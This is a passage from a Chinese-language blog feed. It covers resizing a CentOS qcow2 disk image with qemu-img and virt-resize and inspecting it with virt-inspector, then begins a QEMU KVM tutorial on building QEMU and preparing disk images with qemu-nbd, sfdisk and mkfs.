&lt;p&gt;前述使用&lt;code&gt;truncate&lt;&#x2F;code&gt;命令构建一个新的虚拟磁盘后，导致&lt;code&gt;virt-resize&lt;&#x2F;code&gt;新的磁盘镜像是&lt;code&gt;raw&lt;&#x2F;code&gt;格式。现在改为保留原有&lt;code&gt;qcow2&lt;&#x2F;code&gt;格式再次做磁盘resize。使用命令&lt;code&gt;qemu-img resize&lt;&#x2F;code&gt;命令可以直接调整&lt;code&gt;qcow2&lt;&#x2F;code&gt;磁盘大小。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;先将源磁盘文件镜像备份&#x2F;重命名(这里重新执行扩展操作，假设前一个扩展raw格式磁盘没有操作过，全新开始，所以这里&lt;code&gt;centos6.img&lt;&#x2F;code&gt;还是最初原始的&lt;code&gt;qcow2&lt;&#x2F;code&gt;磁盘)，这个备份是要作为后续&lt;code&gt;virt-resize&lt;&#x2F;code&gt;的源数据盘的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;mv &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-origin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;qemu-img&lt;&#x2F;code&gt;创建一个新的空&lt;code&gt;qcow2&lt;&#x2F;code&gt;磁盘映像文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-img create -f qcow2 &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img 15G
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Formatting &amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img&amp;#x27;, fmt=qcow2 size=16106127360 encryption=off cluster_size=65536 lazy_refcounts=off
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;也可以先从&lt;code&gt;centos6.img-origin&lt;&#x2F;code&gt;复制一个&lt;code&gt;centos6.img&lt;&#x2F;code&gt;出来，然后再使用&lt;code&gt;qemu-img resize&lt;&#x2F;code&gt;调整大小。不过这个复制过程很缓慢。既然&lt;code&gt;virt-resize&lt;&#x2F;code&gt;就是从&lt;code&gt;centos6.img-origin&lt;&#x2F;code&gt;为基础resize到新的磁盘镜像，不如先创建一个空的&lt;code&gt;qcow2&lt;&#x2F;code&gt;磁盘镜像再使用&lt;code&gt;virt-resize&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查验证虚拟磁盘镜像&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-img info &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显示&lt;code&gt;qcow2&lt;&#x2F;code&gt;文件虚拟容量15G，实际目前是空的稀疏文件，所以只占用了&lt;code&gt;196K&lt;&#x2F;code&gt;空间&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;image: &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
file format: qcow2
virtual size: 15G (16106127360 bytes)
disk size: 196K
cluster_size: 65536
Format specific information:
    compat: 1.1
    lazy refcounts: false
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;检查&lt;code&gt;centos6.img-origin&lt;&#x2F;code&gt;磁盘分区，确定我们要扩展的分区（LVM卷）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-filesystems -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-origin --all --long -h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Name                    Type       VFS  Label MBR Size Parent
&amp;#x2F;dev&amp;#x2F;sda1               filesystem ext4 -     -   500M -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root filesystem ext4 -     -   8.5G -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap filesystem swap -     -   1.0G -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root lv         -    -     -   8.5G &amp;#x2F;dev&amp;#x2F;vg_centos6
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap lv         -    -     -   1.0G &amp;#x2F;dev&amp;#x2F;vg_centos6
&amp;#x2F;dev&amp;#x2F;vg_centos6         vg         -    -     -   9.5G &amp;#x2F;dev&amp;#x2F;sda2
&amp;#x2F;dev&amp;#x2F;sda2               pv         -    -     -   9.5G -
&amp;#x2F;dev&amp;#x2F;sda1               partition  -    -     83  500M &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda2               partition  -    -     8e  9.5G &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda                device     -    -     -   10G  -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;virt-resize&lt;&#x2F;code&gt;从&lt;code&gt;centos6.img-origin&lt;&#x2F;code&gt;为基础扩展到新的&lt;code&gt;centos6.img&lt;&#x2F;code&gt;磁盘文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-resize &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-origin &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img --expand &amp;#x2F;dev&amp;#x2F;sda2 --LV-expand &amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提示信息&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[   0.0] Examining &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-origin
**********

Summary of changes:

&amp;#x2F;dev&amp;#x2F;sda1: This partition will be left alone.

&amp;#x2F;dev&amp;#x2F;sda2: This partition will be resized from 9.5G to 14.5G.  The LVM PV
on &amp;#x2F;dev&amp;#x2F;sda2 will be expanded using the &amp;#x27;pvresize&amp;#x27; method.

&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root: This logical volume will be expanded to maximum
size.  The filesystem ext4 on &amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root will be expanded
using the &amp;#x27;resize2fs&amp;#x27; method.

**********
[   2.8] Setting up initial partition table on &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
[   3.0] Copying &amp;#x2F;dev&amp;#x2F;sda1
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00
[   8.2] Copying &amp;#x2F;dev&amp;#x2F;sda2
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00
[  44.0] Expanding &amp;#x2F;dev&amp;#x2F;sda2 using the &amp;#x27;pvresize&amp;#x27; method
[  44.0] Expanding &amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root using the &amp;#x27;resize2fs&amp;#x27; method

Resize operation completed with no errors.  Before deleting the old disk,
carefully check that the resized disk boots and works correctly.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;验证扩容后的&lt;code&gt;centos6.img&lt;&#x2F;code&gt;镜像：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-img info &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img

virt-filesystems -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img --all --long -h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证和原始磁盘镜像&lt;code&gt;centos6.img-origin&lt;&#x2F;code&gt;一致。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;virt-inspector-zhen-duan-guestxu-ni-ji&quot;&gt;&lt;code&gt;virt-inspector&lt;&#x2F;code&gt;: 诊断guest虚拟机&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;virt-inspector&lt;&#x2F;code&gt;是一个诊断磁盘镜像检查使用的是哪种操作系统。该工具包含在&lt;code&gt;libguestfs-tools&lt;&#x2F;code&gt;软件包中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yun-xing-virt-inspector&quot;&gt;运行&lt;code&gt;virt-inspector&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;virt-inspector&lt;&#x2F;code&gt;可以针对磁盘镜像或者虚拟机&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-inspector -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img &amp;gt; report.xml

virt-inspector -d centos6 &amp;gt; report.xml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;report.xml&lt;&#x2F;code&gt;内容类似&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;operatingsystems&amp;gt;
  &amp;lt;operatingsystem&amp;gt;
    &amp;lt;root&amp;gt;&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root&amp;lt;&amp;#x2F;root&amp;gt;
    &amp;lt;name&amp;gt;linux&amp;lt;&amp;#x2F;name&amp;gt;
    &amp;lt;arch&amp;gt;x86_64&amp;lt;&amp;#x2F;arch&amp;gt;
    &amp;lt;distro&amp;gt;centos&amp;lt;&amp;#x2F;distro&amp;gt;
    &amp;lt;product_name&amp;gt;CentOS release 6.9 (Final)&amp;lt;&amp;#x2F;product_name&amp;gt;
    &amp;lt;major_version&amp;gt;6&amp;lt;&amp;#x2F;major_version&amp;gt;
    &amp;lt;minor_version&amp;gt;9&amp;lt;&amp;#x2F;minor_version&amp;gt;
    &amp;lt;package_format&amp;gt;rpm&amp;lt;&amp;#x2F;package_format&amp;gt;
    &amp;lt;package_management&amp;gt;yum&amp;lt;&amp;#x2F;package_management&amp;gt;
    &amp;lt;hostname&amp;gt;centos6&amp;lt;&amp;#x2F;hostname&amp;gt;
    &amp;lt;format&amp;gt;installed&amp;lt;&amp;#x2F;format&amp;gt;
    &amp;lt;mountpoints&amp;gt;
      &amp;lt;mountpoint dev=&amp;quot;&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root&amp;quot;&amp;gt;&amp;#x2F;&amp;lt;&amp;#x2F;mountpoint&amp;gt;
      &amp;lt;mountpoint dev=&amp;quot;&amp;#x2F;dev&amp;#x2F;sda1&amp;quot;&amp;gt;&amp;#x2F;boot&amp;lt;&amp;#x2F;mountpoint&amp;gt;
    &amp;lt;&amp;#x2F;mountpoints&amp;gt;
    &amp;lt;filesystems&amp;gt;
      &amp;lt;filesystem dev=&amp;quot;&amp;#x2F;dev&amp;#x2F;sda1&amp;quot;&amp;gt;
        &amp;lt;type&amp;gt;ext4&amp;lt;&amp;#x2F;type&amp;gt;
        &amp;lt;uuid&amp;gt;9c30133a-6c16-4d8c-9486-e52b1eaa5f22&amp;lt;&amp;#x2F;uuid&amp;gt;
      &amp;lt;&amp;#x2F;filesystem&amp;gt;
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;RHEL 7有一个&lt;code&gt;xpath&lt;&#x2F;code&gt;命令行工具(位于&lt;code&gt;perl-XML-XPath.noarch&lt;&#x2F;code&gt;软件包中)可以用来解读xml&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-inspector -d centos6 | xpath &amp;#x2F;&amp;#x2F;filesystem&amp;#x2F;@dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Found 3 nodes:
-- NODE --
 dev=&amp;quot;&amp;#x2F;dev&amp;#x2F;sda1&amp;quot;-- NODE --
 dev=&amp;quot;&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root&amp;quot;-- NODE --
 dev=&amp;quot;&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;access.redhat.com&#x2F;documentation&#x2F;en-US&#x2F;Red_Hat_Enterprise_Linux&#x2F;5&#x2F;html&#x2F;Virtualization&#x2F;sect-Virtualization-Troubleshooting_Xen-Accessing_data_on_guest_disk_image.html&quot;&gt;RHEL 5 Virtualization Guide: Accessing data from a guest disk image&lt;&#x2F;a&gt; - RHEL 5文档关于离线修改guest文件系统&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;access.redhat.com&#x2F;documentation&#x2F;en-US&#x2F;Red_Hat_Enterprise_Linux&#x2F;6&#x2F;html&#x2F;Virtualization_Administration_Guide&#x2F;chap-Virtualization_Administration_Guide-Guest_Disks_libguestfs.html&quot;&gt;RHEL 6 Virtualization Administration Guide: Guest Virtual Machine Disk Access with Offline Tools&lt;&#x2F;a&gt; - RHEL 6文档 关于离线修改guest磁盘&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;access.redhat.com&#x2F;documentation&#x2F;en-US&#x2F;Red_Hat_Enterprise_Linux&#x2F;7&#x2F;html&#x2F;Virtualization_Deployment_and_Administration_Guide&#x2F;chap-Guest_virtual_machine_disk_access_with_offline_tools.html&quot;&gt;RHEL 7 Virtualization Deployment and Administration Guide: Guest Virtual Machine Disk Access with Offline Tools&lt;&#x2F;a&gt; - RHEL 7文档 关于离线修改guest磁盘&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dnaeon.github.io&#x2F;resizing-a-kvm-disk-image-on-lvm-the-easy-way&#x2F;&quot;&gt;Resizing a QEMU KVM Linux image using virt-resize in CentOS 6.4&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rwmj.wordpress.com&#x2F;2010&#x2F;09&#x2F;27&#x2F;virt-resize-shrink-now-works&#x2F;&quot;&gt;virt-resize –shrink now works&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fatmin.com&#x2F;2016&#x2F;12&#x2F;20&#x2F;how-to-resize-a-qcow2-image-and-filesystem-with-virt-resize&#x2F;&quot;&gt;How to Resize a qcow2 Image and Filesystem with Virt-Resize&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>QEMU KVM的基本使用方法</title>
        <published>2024-01-08T00:00:00+00:00</published>
        <updated>2024-01-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/qemu-kvm的基本使用方法/"/>
        <id>https://vercel.juzhong.asia/obsidian/qemu-kvm的基本使用方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/qemu-kvm的基本使用方法/">&lt;h1 id=&quot;qemu-kvmde-ji-ben-shi-yong-fang-fa&quot;&gt;QEMU KVM的基本使用方法&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;关于QEMU的基本知识，可以参考其官方网站[1]。简单来说，QEMU自身支持“系统模拟”和“用户态模拟”；除此之外，QEMU可以配合KVM或Xen创建接近原始性能的虚拟机。&lt;&#x2F;p&gt;
&lt;p&gt;本笔记的主要参考资料是文献[4]。&lt;&#x2F;p&gt;
&lt;p&gt;本文采用文本形式记录命令行操作过程。对于那些输出不重要的执行步骤，本文仅给出命令本身；如果输出内容能够增进理解，本文会将命令与输出一并展示。&lt;&#x2F;p&gt;
&lt;p&gt;为避免混淆，除特别指出外，本文中所有“宿主机”均指运行实验虚拟机的外层机器，而不是笔者自己的实体机。&lt;&#x2F;p&gt;
&lt;p&gt;获取QEMU的源码有两种方式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从GitLab上clone源码仓库[2]。&lt;&#x2F;li&gt;
&lt;li&gt;从QEMU官网[3]下载源码包。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;前者有利于我们切换查看不同分支、版本的源码，然而在编译阶段对于国内用户不太友好，无论是clone还是下载子模块（submodule）都非常耗时。因此，我们更推荐第二种方法，在确定版本后（如果是研究QEMU漏洞的话，需要先确定版本）直接下载源码包。&lt;&#x2F;p&gt;
&lt;p&gt;这里也给出从GitLab上clone源码仓库的步骤[10]：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone git:&amp;#x2F;&amp;#x2F;git.qemu-project.org&amp;#x2F;qemu.git
cd qemu
git submodule init
git submodule update --recursive
git submodule status --recursive
mkdir build
cd build
..&amp;#x2F;configure
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;获取源码后即可进行编译。编译时间与当前机器性能有关。为了加快编译速度，建议仅针对自己打算用到的目标架构进行编译。&lt;&#x2F;p&gt;
&lt;p&gt;下面是我们在Ubuntu 18.04机器上下载&lt;code&gt;v3.1.0&lt;&#x2F;code&gt;版本源码并仅针对&lt;code&gt;x86_64&lt;&#x2F;code&gt;架构进行编译的步骤：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;VERSION=3.1.0
sudo apt-get install -y git libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev gcc python
wget https:&amp;#x2F;&amp;#x2F;download.qemu.org&amp;#x2F;qemu-$VERSION.tar.xz
tar xf qemu-$VERSION.tar.xz
cd qemu-$VERSION
.&amp;#x2F;configure --target-list=&amp;quot;x86_64-softmmu&amp;quot; --python=`which python2`
make
make install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果编译其他版本或针对其他目标架构进行编译，自行修改上述步骤即可。&lt;&#x2F;p&gt;
&lt;p&gt;编译完成后，执行&lt;code&gt;qemu-system-x86_64&lt;&#x2F;code&gt;确认编译成功：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 --version
# QEMU emulator version 3.1.0
# Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-shi-yong-qemu-imgguan-li-ci-pan-jing-xiang&quot;&gt;2. 使用qemu-img管理磁盘镜像&lt;&#x2F;h2&gt;
&lt;p&gt;为了运行虚拟机，QEMU需要使用磁盘镜像文件存储虚拟机文件系统。QEMU支持多种类型的磁盘镜像文件，并提供了&lt;code&gt;qemu-img&lt;&#x2F;code&gt;工具来创建和管理它们。&lt;&#x2F;p&gt;
&lt;p&gt;执行&lt;code&gt;qemu-img&lt;&#x2F;code&gt;查看支持的磁盘镜像类型：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-img -h | grep Supported
# Supported formats: blkdebug blklogwrites blkreplay blkverify bochs cloop copy-on-read dmg file host_cdrom host_device luks nbd null-aio null-co nvme parallels qcow qcow2 qed quorum raw replication sheepdog throttle vdi vhdx vmdk vpc vvfat
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，最常用的两种类型是&lt;code&gt;raw&lt;&#x2F;code&gt;和&lt;code&gt;qcow2&lt;&#x2F;code&gt;。前者缺乏一些特性，但是方便快速测试；后者支持虚拟机快照、压缩和加密等特性，但是牺牲了一些性能[4]。&lt;&#x2F;p&gt;
&lt;p&gt;除此之外，还有一些常见的镜像类型也值得了解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;qcow&lt;&#x2F;code&gt;：旧版的QEMU镜像格式。支持文件备份、镜像文件压缩和加密等特性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;dmg&lt;&#x2F;code&gt;：Mac磁盘镜像格式。支持密码保护、压缩等特性，除了用于创建虚拟机，还常用来分发软件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;nbd&lt;&#x2F;code&gt;：网络块设备格式。常用于访问远程存储设备。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;vdi&lt;&#x2F;code&gt;：VirtualBox使用的磁盘镜像格式。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;vmdk&lt;&#x2F;code&gt;：VMware使用的磁盘镜像格式。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;vhdx&lt;&#x2F;code&gt;：Microsoft Hyper-V使用的镜像格式。支持大容量存储、数据损坏保护和读写优化等特性。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;介绍完毕，开始行动。创建一个10GB大小的空白镜像文件，类型为&lt;code&gt;raw&lt;&#x2F;code&gt;，并使用各种工具查看该镜像文件的属性：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-img create -f raw debian.img 10G
# Formatting &amp;#x27;debian.img&amp;#x27;, fmt=raw size=10737418240

ls -lah .&amp;#x2F;debian.img
# -rw-r--r-- 1 root root 10G May  7 02:39 .&amp;#x2F;debian.img
file -s .&amp;#x2F;debian.img
# .&amp;#x2F;debian.img: data

qemu-img info .&amp;#x2F;debian.img

image: .&amp;#x2F;debian.img
file format: raw
virtual size: 10G (10737418240 bytes)
disk size: 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-shi-yong-qemu-nbdchu-li-ci-pan-jing-xiang&quot;&gt;3. 使用qemu-nbd处理磁盘镜像&lt;&#x2F;h2&gt;
&lt;p&gt;关于Linux NBD和QEMU对NBD的使用，可以参考文献[8]和文献[9]。&lt;&#x2F;p&gt;
&lt;p&gt;我们已经创建了一个格式为&lt;code&gt;raw&lt;&#x2F;code&gt;的空镜像文件。接下来需要在上面创建分区和文件系统，从而安装操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;首先加载&lt;code&gt;nbd&lt;&#x2F;code&gt;内核模块，然后将我们之前创建的&lt;code&gt;debian.img&lt;&#x2F;code&gt;空镜像文件与&lt;code&gt;&#x2F;dev&#x2F;nbd0&lt;&#x2F;code&gt;块设备关联起来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;modprobe nbd
qemu-nbd --format=raw --connect=&amp;#x2F;dev&amp;#x2F;nbd0 .&amp;#x2F;debian.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着在块设备上创建两个分区，分别用于swap和虚拟机操作系统的根分区：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sfdisk &amp;#x2F;dev&amp;#x2F;nbd0 &amp;lt;&amp;lt; EOF

heredoc&amp;gt; ,1024,82
heredoc&amp;gt; ;
heredoc&amp;gt; EOF
Checking that no-one is using this disk right now ... OK

Disk &amp;#x2F;dev&amp;#x2F;nbd0: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes

&amp;gt;&amp;gt;&amp;gt; Created a new DOS disklabel with disk identifier 0xd6d2dca3.
&amp;#x2F;dev&amp;#x2F;nbd0p1: Created a new partition 1 of type &amp;#x27;Linux swap &amp;#x2F; Solaris&amp;#x27; and of size 512 KiB.
&amp;#x2F;dev&amp;#x2F;nbd0p2: Created a new partition 2 of type &amp;#x27;Linux&amp;#x27; and of size 10 GiB.
&amp;#x2F;dev&amp;#x2F;nbd0p3: Done.

New situation:
Disklabel type: dos
Disk identifier: 0xd6d2dca3

Device      Boot Start      End  Sectors  Size Id Type
&amp;#x2F;dev&amp;#x2F;nbd0p1       2048     3071     1024  512K 82 Linux swap &amp;#x2F; Solaris
&amp;#x2F;dev&amp;#x2F;nbd0p2       4096 20971519 20967424   10G 83 Linux

The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注：其实也可以用&lt;code&gt;fdisk&lt;&#x2F;code&gt;代替&lt;code&gt;sfdisk&lt;&#x2F;code&gt;来分区。操作不同，结果一致，这里不再展开。&lt;&#x2F;p&gt;
&lt;p&gt;完成后，查看分区后的块设备：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ls -la &amp;#x2F;dev&amp;#x2F;nbd0*
# brw-rw---- 1 root disk 43, 0 May  7 02:57 &amp;#x2F;dev&amp;#x2F;nbd0
# brw-rw---- 1 root disk 43, 1 May  7 02:57 &amp;#x2F;dev&amp;#x2F;nbd0p1
# brw-rw---- 1 root disk 43, 2 May  7 02:57 &amp;#x2F;dev&amp;#x2F;nbd0p2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建swap分区并在虚拟机操作系统根分区上建立EXT4文件系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkswap &amp;#x2F;dev&amp;#x2F;nbd0p1
# Setting up swapspace version 1, size = 508 KiB (520192 bytes)
# no label, UUID=ef312e03-3f56-4408-8bfa-f65fd2ecb7ff

mkfs.ext4 &amp;#x2F;dev&amp;#x2F;nbd0p2

mke2fs 1.44.1 (24-Mar-2018)
Discarding device blocks: failed - Input&amp;#x2F;output error
Creating filesystem with 2620928 4k blocks and 655360 inodes
Filesystem UUID: 7e8c3c8a-ca64-43a1-9356-1ba1e75998dc
Superblock backups stored on blocks:
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后，看一下镜像文件的类型，已经发生改变：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;file -s debian.img
# debian.img: DOS&amp;#x2F;MBR boot sector; partition 1 : ID=0x82, start-CHS (0x0,32,33), end-CHS (0x0,48,48), startsector 2048, 1024 sectors; partition 2 : ID=0x83, start-CHS (0x0,65,2), end-CHS (0x119,106,17), startsector 4096, 20967424 sectors
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我们有包含两个分区和文件系统的镜像文件了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-shi-yong-debootstrapan-zhuang-cao-zuo-xi-tong&quot;&gt;4. 使用debootstrap安装操作系统&lt;&#x2F;h2&gt;
&lt;p&gt;我们将使用&lt;code&gt;debootstrap&lt;&#x2F;code&gt;来引导一个Debian系统。&lt;&#x2F;p&gt;
